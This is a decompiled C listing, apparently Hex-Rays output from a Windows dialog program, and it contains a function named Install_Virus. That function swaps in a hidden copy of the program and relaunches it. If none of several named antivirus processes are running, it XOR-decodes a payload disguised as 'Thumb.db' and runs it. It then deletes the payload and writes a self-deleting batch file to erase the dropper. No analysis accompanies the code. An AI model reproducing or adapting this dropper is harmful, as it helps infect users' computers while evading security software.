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  1. /* This file has been generated by the Hex-Rays decompiler.
  2.    Copyright (c) 2009 Hex-Rays <[email protected]>
  3.  
  4.    Detected compiler: Visual C++
  5. */
  6.  
  7. #include <windows.h>
  8. #include <defs.h>
  9.  
  10.  
  11. //-------------------------------------------------------------------------
  12. // Data declarations
  13.  
  14. // extern void *CDialog__messageMap; weak
  15. // extern void *CWinApp__messageMap; weak
  16. extern int (*off_402220)(); // weak
  17. extern int (*off_402300)(); // weak
  18. extern int (*off_402350)(); // weak
  19. extern char Operation[]; // idb
  20. extern char aDelFQ0[]; // idb
  21. extern char aIfExistSGotoSt[]; // idb
  22. extern char aDelFQS[]; // idb
  23. extern char aStart[]; // idb
  24. extern char Mode[]; // idb
  25. extern char Format[]; // idb
  26. extern char aWb[]; // idb
  27. extern char aRb[]; // idb
  28. extern char FileName[]; // idb
  29. extern char ApplicationName[]; // idb
  30. extern char aFshoster32_exe[]; // idb
  31. extern char aFprottray_exe[]; // idb
  32. extern char aBdagent_exe[]; // idb
  33. extern char aAvp_exe[]; // idb
  34. extern char aMsmpeng_exe[]; // idb
  35. extern char String1[]; // idb
  36. extern char aBak[]; // idb
  37. extern char String2[]; // idb
  38.  
  39. //-------------------------------------------------------------------------
  40. // Function declarations
  41.  
  42. #define __thiscall __cdecl // Test compile in C mode
  43.  
  44. void *__cdecl sub_401000();
  45. int (**__cdecl sub_401010())();
  46. void *__thiscall sub_401040(void *this, char a2);
  47. int CWinApp___CWinApp(void); // weak
  48. int __thiscall sub_4010B0(void *this);
  49. int __thiscall CDialog___CDialog(_DWORD); // weak
  50. void *__thiscall sub_401150(void *this, int a2);
  51. void *__thiscall sub_4011C0(void *this, char a2);
  52. void *__cdecl sub_4011F0();
  53. int (**__cdecl sub_401200())();
  54. signed int __thiscall sub_401210(void *this);
  55. BOOL __thiscall sub_401330(int this);
  56. BOOL __thiscall sub_401340(int this);
  57. int __cdecl sub_401350(LPCSTR lpFileName); // idb
  58. void *__cdecl sub_401390(int a1);
  59. signed int __cdecl sub_4014B0(const char *Filename, const char *a2, char a3);
  60. int __cdecl ProcessExists(LPCSTR lpString1); // idb
  61. void *__cdecl Install_Virus();
  62. // void __cdecl operator delete(void *); idb
  63. // int __thiscall CDialog___CDialog(_DWORD); weak
  64. // int __thiscall CDialog__DoModal(_DWORD); weak
  65. // int __thiscall CDialog__OnOK(_DWORD); weak
  66. // struct HINSTANCE__ *__stdcall AfxFindResourceHandle(const char *, const char *); idb
  67. // int AfxGetModuleState(void); weak
  68. // int __stdcall CDialog__CDialog(_DWORD, _DWORD); weak
  69. // int CDialog__OnInitDialog(void); weak
  70. // int _CxxFrameHandler(void); weak
  71. int __cdecl sub_401C22();
  72. // BOOL __stdcall Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
  73. // BOOL __stdcall Process32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
  74. // HANDLE __stdcall CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
  75. // int __stdcall AfxWinMain(struct HINSTANCE__ *, struct HINSTANCE__ *, char *, int); idb
  76. // int __usercall sub_401CB0<eax>(int a1<ebp>);
  77. int __cdecl SEH_4010B0();
  78. // int __usercall sub_401CD0<eax>(int a1<ebp>);
  79. int __cdecl SEH_401150();
  80. // BOOL __stdcall CloseHandle(HANDLE hObject);
  81. // HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
  82. // LPSTR __stdcall lstrcpyA(LPSTR lpString1, LPCSTR lpString2);
  83. // UINT __stdcall GetWindowsDirectoryA(LPSTR lpBuffer, UINT uSize);
  84. // UINT __stdcall SetErrorMode(UINT uMode);
  85. // int __stdcall lstrcmpiA(LPCSTR lpString1, LPCSTR lpString2);
  86. // BOOL __stdcall DeleteFileA(LPCSTR lpFileName);
  87. // BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
  88. // LPSTR __stdcall GetCommandLineA();
  89. // void __stdcall GetStartupInfoA(LPSTARTUPINFOA lpStartupInfo);
  90. // BOOL __stdcall MoveFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName);
  91. // LPSTR __stdcall lstrcatA(LPSTR lpString1, LPCSTR lpString2);
  92. // int __stdcall lstrlenA(LPCSTR lpString);
  93. // DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize);
  94. // DWORD __stdcall GetLastError();
  95. // _DWORD __stdcall AfxWinMain(struct HINSTANCE__ *, struct HINSTANCE__ *, char *, int); weak
  96. // size_t __cdecl fread(void *DstBuf, size_t ElementSize, size_t Count, FILE *File);
  97. // size_t __cdecl fwrite(const void *Str, size_t Size, size_t Count, FILE *File);
  98. // int sprintf(char *Dest, const char *Format, ...);
  99. // FILE *__cdecl fopen(const char *Filename, const char *Mode);
  100. // int fprintf(FILE *File, const char *Format, ...);
  101. // int __cdecl fclose(FILE *File);
  102. // HINSTANCE __stdcall ShellExecuteA(HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd);
  103. // BOOL __stdcall EnableWindow(HWND hWnd, BOOL bEnable);
  104. // HICON __stdcall LoadIconA(HINSTANCE hInstance, LPCSTR lpIconName);
  105. // LRESULT __stdcall SendMessageA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);
  106.  
  107.  
  108. //----- (00401000) --------------------------------------------------------
  109. void *__cdecl sub_401000()
  110. {
  111.   return CWinApp__messageMap;
  112. }
  113. // 402184: using guessed type void *CWinApp__messageMap;
  114.  
  115. //----- (00401010) --------------------------------------------------------
  116. int (**__cdecl sub_401010())()
  117. {
  118.   return &off_402220;
  119. }
  120. // 402220: using guessed type int (*off_402220)();
  121.  
  122. //----- (00401040) --------------------------------------------------------
  123. void *__thiscall sub_401040(void *this, char a2)
  124. {
  125.   void *v2; // esi@1
  126.  
  127.   v2 = this;
  128.   CWinApp___CWinApp();
  129.   if ( a2 & 1 )
  130.     operator delete(v2);
  131.   return v2;
  132. }
  133. // 401060: using guessed type int CWinApp___CWinApp(void);
  134.  
  135. //----- (004010B0) --------------------------------------------------------
  136. int __thiscall sub_4010B0(void *this)
  137. {
  138.   void *v2; // esi@1
  139.   char v3; // [sp+4h] [bp-70h]@1
  140.   int v4; // [sp+70h] [bp-4h]@1
  141.  
  142.   v2 = this;
  143.   sub_401150(&v3, 0);
  144.   v4 = 0;
  145.   *((_DWORD *)v2 + 8) = &v3;
  146.   CDialog__DoModal(&v3);
  147.   v4 = -1;
  148.   CDialog___CDialog(&v3);
  149.   return 0;
  150. }
  151. // 40196A: using guessed type int __thiscall CDialog___CDialog(_DWORD);
  152. // 401970: using guessed type int __thiscall CDialog__DoModal(_DWORD);
  153.  
  154. //----- (00401150) --------------------------------------------------------
  155. void *__thiscall sub_401150(void *this, int a2)
  156. {
  157.   void *v3; // esi@1
  158.   HINSTANCE v4; // eax@1
  159.  
  160.   v3 = this;
  161.   CDialog__CDialog(102, a2);
  162.   *(_DWORD *)v3 = &off_402350;
  163.   AfxGetModuleState();
  164.   v4 = AfxFindResourceHandle((const char *)0x80, (const char *)0xE);
  165.   *((_DWORD *)v3 + 24) = LoadIconA(v4, (LPCSTR)0x80);
  166.   return v3;
  167. }
  168. // 401A30: using guessed type int AfxGetModuleState(void);
  169. // 401A36: using guessed type int __stdcall CDialog__CDialog(_DWORD, _DWORD);
  170. // 402350: using guessed type int (*off_402350)();
  171.  
  172. //----- (004011C0) --------------------------------------------------------
  173. void *__thiscall sub_4011C0(void *this, char a2)
  174. {
  175.   void *v2; // esi@1
  176.  
  177.   v2 = this;
  178.   CDialog___CDialog(this);
  179.   if ( a2 & 1 )
  180.     operator delete(v2);
  181.   return v2;
  182. }
  183. // 401120: using guessed type int __thiscall CDialog___CDialog(_DWORD);
  184.  
  185. //----- (004011F0) --------------------------------------------------------
  186. void *__cdecl sub_4011F0()
  187. {
  188.   return CDialog__messageMap;
  189. }
  190. // 40212C: using guessed type void *CDialog__messageMap;
  191.  
  192. //----- (00401200) --------------------------------------------------------
  193. int (**__cdecl sub_401200())()
  194. {
  195.   return &off_402300;
  196. }
  197. // 402300: using guessed type int (*off_402300)();
  198.  
  199. //----- (00401210) --------------------------------------------------------
  200. signed int __thiscall sub_401210(void *this)
  201. {
  202.   void *v2; // esi@1
  203.  
  204.   v2 = this;
  205.   CDialog__OnInitDialog();
  206.   SendMessageA(*((HWND *)v2 + 8), 128u, 1u, *((_DWORD *)v2 + 24));
  207.   SendMessageA(*((HWND *)v2 + 8), 0x80u, 0, *((_DWORD *)v2 + 24));
  208.   Install_Virus();
  209.   CDialog__OnOK(v2);
  210.   return 1;
  211. }
  212. // 401982: using guessed type int __thiscall CDialog__OnOK(_DWORD);
  213. // 401A3C: using guessed type int CDialog__OnInitDialog(void);
  214.  
  215. //----- (00401330) --------------------------------------------------------
  216. BOOL __thiscall sub_401330(int this)
  217. {
  218.   return EnableWindow(*(HWND *)(this + 32), 0);
  219. }
  220.  
  221. //----- (00401340) --------------------------------------------------------
  222. BOOL __thiscall sub_401340(int this)
  223. {
  224.   return EnableWindow(*(HWND *)(this + 32), 1);
  225. }
  226.  
  227. //----- (00401350) --------------------------------------------------------
  228. signed int __cdecl sub_401350(LPCSTR lpFileName)
  229. {
  230.   HANDLE v1; // esi@1
  231.   signed int result; // eax@3
  232.  
  233.   v1 = CreateFileA(lpFileName, 0x80000000u, 1u, 0, 3u, 0, 0);
  234.   if ( v1 != (HANDLE)-1 || GetLastError() != 2 )
  235.   {
  236.     CloseHandle(v1);
  237.     result = 1;
  238.   }
  239.   else
  240.   {
  241.     result = 0;
  242.   }
  243.   return result;
  244. }
  245.  
  246. //----- (00401390) --------------------------------------------------------
  247. void *__cdecl sub_401390(int a1)
  248. {
  249.   int v1; // esi@1
  250.   int v2; // ST18_4@2
  251.   void *result; // eax@3
  252.   FILE *v4; // esi@3
  253.   CHAR File; // [sp+8h] [bp-208h]@1
  254.   char v6; // [sp+9h] [bp-207h]@1
  255.   __int16 v7; // [sp+109h] [bp-107h]@1
  256.   char v8; // [sp+10Bh] [bp-105h]@1
  257.   CHAR String2; // [sp+10Ch] [bp-104h]@1
  258.   char v10; // [sp+10Dh] [bp-103h]@1
  259.   __int16 v11; // [sp+20Dh] [bp-3h]@1
  260.   char v12; // [sp+20Fh] [bp-1h]@1
  261.  
  262.   String2 = 0;
  263.   memset(&v10, 0, 0x100u);
  264.   v11 = 0;
  265.   v12 = 0;
  266.   File = 0;
  267.   memset(&v6, 0, 0x100u);
  268.   v7 = 0;
  269.   v1 = 0;
  270.   v8 = 0;
  271.   SetErrorMode(1u);
  272.   GetWindowsDirectoryA(&String2, 0x104u);
  273.   lstrcpyA(&File, &String2);
  274.   do
  275.   {
  276.     v2 = v1++;
  277.     sprintf(&File, "%s\\temp\\temp%d.bat", &String2, v2);
  278.   }
  279.   while ( sub_401350(&File) );
  280.   result = fopen(&File, L"w");
  281.   v4 = (FILE *)result;
  282.   if ( result )
  283.   {
  284.     ((void (__cdecl *)(void *, _DWORD))fprintf)(result, ":start\r\n");
  285.     fprintf(v4, "del /f /q \"%s\"\r\n", a1);
  286.     fprintf(v4, "if exist \"%s\" goto start\r\n", a1);
  287.     fprintf(v4, "del /f /q %%0\r\n");
  288.     fclose(v4);
  289.     result = ShellExecuteA(0, "open", &File, 0, 0, 0);
  290.   }
  291.   return result;
  292. }
  293.  
  294. //----- (004014B0) --------------------------------------------------------
  295. signed int __cdecl sub_4014B0(const char *Filename, const char *a2, char a3)
  296. {
  297.   FILE *v3; // esi@1
  298.   FILE *v4; // ebx@2
  299.   size_t i; // eax@3
  300.   signed int j; // ecx@4
  301.   char DstBuf[1024]; // [sp+Ch] [bp-400h]@3
  302.  
  303.   v3 = fopen(Filename, "rb");
  304.   if ( !v3 )
  305.     return 0;
  306.   v4 = fopen(a2, "wb");
  307.   if ( !v4 )
  308.   {
  309.     fclose(v3);
  310.     return 0;
  311.   }
  312.   memset(DstBuf, 0, sizeof(DstBuf));
  313.   for ( i = fread(DstBuf, 1u, 0x400u, v3); i; i = fread(DstBuf, 1u, 0x400u, v3) )
  314.   {
  315.     for ( j = 0; j < (signed int)i; ++j )
  316.       DstBuf[j] ^= a3;
  317.     fwrite(DstBuf, i, 1u, v4);
  318.     memset(DstBuf, 0, sizeof(DstBuf));
  319.   }
  320.   fclose(v3);
  321.   fclose(v4);
  322.   return 1;
  323. }
  324. // 4014B0: using guessed type char DstBuf[1024];
  325.  
  326. //----- (004015A0) --------------------------------------------------------
  327. signed int __cdecl ProcessExists(LPCSTR lpString1)
  328. {
  329.   DWORD v1; // ebp@1
  330.   HANDLE v2; // esi@1
  331.   signed int result; // eax@7
  332.   PROCESSENTRY32 pe; // [sp+8h] [bp-128h]@1
  333.  
  334.   v1 = -1;
  335.   pe.dwSize = 296;
  336.   v2 = CreateToolhelp32Snapshot(2u, 0);
  337.   if ( v2 )
  338.   {
  339.     if ( Process32First(v2, &pe) )
  340.     {
  341.       if ( lstrcmpiA(lpString1, pe.szExeFile) )
  342.       {
  343.         while ( Process32Next(v2, &pe) )
  344.         {
  345.           if ( !lstrcmpiA(lpString1, pe.szExeFile) )
  346.             goto LABEL_6;
  347.         }
  348.       }
  349.       else
  350.       {
  351. LABEL_6:
  352.         v1 = pe.th32ProcessID;
  353.       }
  354.     }
  355.     CloseHandle(v2);
  356.     result = v1;
  357.   }
  358.   else
  359.   {
  360.     result = -1;
  361.   }
  362.   return result;
  363. }
  364.  
  365. //----- (00401630) --------------------------------------------------------
  366. void *__cdecl Install_Virus()
  367. {
  368.   int v0; // eax@1
  369.   int v1; // eax@6
  370.   CHAR *v2; // eax@11
  371.   struct _PROCESS_INFORMATION ProcessInformation; // [sp+10h] [bp-360h]@11
  372.   struct _STARTUPINFOA StartupInfo; // [sp+20h] [bp-350h]@11
  373.   CHAR String; // [sp+64h] [bp-30Ch]@1
  374.   char v7[259]; // [sp+65h] [bp-30Bh]@1
  375.   CHAR ExistingFileName; // [sp+168h] [bp-208h]@1
  376.   char v9[259]; // [sp+169h] [bp-207h]@1
  377.   CHAR String2; // [sp+26Ch] [bp-104h]@1
  378.   char v11; // [sp+26Dh] [bp-103h]@1
  379.   __int16 v12; // [sp+36Dh] [bp-3h]@1
  380.   char v13; // [sp+36Fh] [bp-1h]@1
  381.  
  382.   String2 = 0;
  383.   String = 0;
  384.   memset(&v11, 0, 0x100u);
  385.   v12 = 0;
  386.   v13 = 0;
  387.   ExistingFileName = 0;
  388.   memset(v7, 0, 0x100u);
  389.   *(_WORD *)&v7[256] = 0;
  390.   v7[258] = 0;
  391.   memset(v9, 0, 0x100u);
  392.   *(_WORD *)&v9[256] = 0;
  393.   v9[258] = 0;
  394.   GetModuleFileNameA(0, &String2, 0x104u);
  395.   lstrcpyA(&String, &String2);
  396.   lstrcpyA(&ExistingFileName, &String2);
  397.   v0 = lstrlenA(&String) - 1;
  398.   if ( v0 >= 0 )
  399.   {
  400.     while ( *(&String + v0) != 92 )
  401.     {
  402.       --v0;
  403.       if ( v0 < 0 )
  404.         goto LABEL_6;
  405.     }
  406.     v7[v0] = 0;
  407.   }
  408. LABEL_6:
  409.   lstrcatA(&String, "tmp.tmp");
  410.   MoveFileA(&String2, &String);
  411.   v1 = lstrlenA(&ExistingFileName) - 1;
  412.   if ( v1 >= 0 )
  413.   {
  414.     while ( *(&ExistingFileName + v1) != 46 )
  415.     {
  416.       --v1;
  417.       if ( v1 < 0 )
  418.         goto LABEL_11;
  419.     }
  420.     v9[v1] = 0;
  421.   }
  422. LABEL_11:
  423.   lstrcatA(&ExistingFileName, "bak");
  424.   MoveFileA(&ExistingFileName, &String2);
  425.   StartupInfo.cb = 0;
  426.   memset(&StartupInfo.lpReserved, 0, 0x40u);
  427.   ProcessInformation.hThread = 0;
  428.   ProcessInformation.hProcess = 0;
  429.   ProcessInformation.dwProcessId = 0;
  430.   ProcessInformation.dwThreadId = 0;
  431.   GetStartupInfoA(&StartupInfo);
  432.   v2 = GetCommandLineA();
  433.   CreateProcessA(&String2, v2, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);
  434.   if ( ProcessExists("ccsvchst.exe") == -1 )
  435.   {
  436.     if ( ProcessExists("MsMpEng.exe") == -1 )
  437.     {
  438.       if ( ProcessExists("avp.exe") == -1 )
  439.       {
  440.         if ( ProcessExists("bdagent.exe") == -1 )
  441.         {
  442.           if ( ProcessExists("FProtTray.exe") == -1 )
  443.           {
  444.             if ( ProcessExists("fshoster32.exe") == -1 )
  445.             {
  446.               GetStartupInfoA(&StartupInfo);
  447.               if ( sub_4014B0("Thumb.db", "Thumb.db.tmp", -86) )
  448.                 CreateProcessA("Thumb.db.tmp", 0, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);
  449.             }
  450.           }
  451.         }
  452.       }
  453.     }
  454.   }
  455.   DeleteFileA("Thumb.db");
  456.   return sub_401390((int)&String);
  457. }
  458. // 401630: using guessed type char var_30B[259];
  459. // 401630: using guessed type char var_207[259];
  460.  
  461. //----- (00401C22) --------------------------------------------------------
  462. int __cdecl sub_401C22()
  463. {
  464.   return 0;
  465. }
  466.  
  467. //----- (00401CB0) --------------------------------------------------------
  468. int __usercall sub_401CB0<eax>(int a1<ebp>)
  469. {
  470.   return CDialog___CDialog(a1 - 112);
  471. }
  472. // 401120: using guessed type int __thiscall CDialog___CDialog(_DWORD);
  473.  
  474. //----- (00401CB8) --------------------------------------------------------
  475. int __cdecl SEH_4010B0()
  476. {
  477.   return _CxxFrameHandler();
  478. }
  479. // 401A92: using guessed type int _CxxFrameHandler(void);
  480.  
  481. //----- (00401CD0) --------------------------------------------------------
  482. int __usercall sub_401CD0<eax>(int a1<ebp>)
  483. {
  484.   return CDialog___CDialog(*(_DWORD *)(a1 - 16));
  485. }
  486. // 40196A: using guessed type int __thiscall CDialog___CDialog(_DWORD);
  487.  
  488. //----- (00401CD8) --------------------------------------------------------
  489. int __cdecl SEH_401150()
  490. {
  491.   return _CxxFrameHandler();
  492. }
  493. // 401A92: using guessed type int _CxxFrameHandler(void);
  494.  
  495. // ALL OK, 21 function(s) have been successfully decompiled
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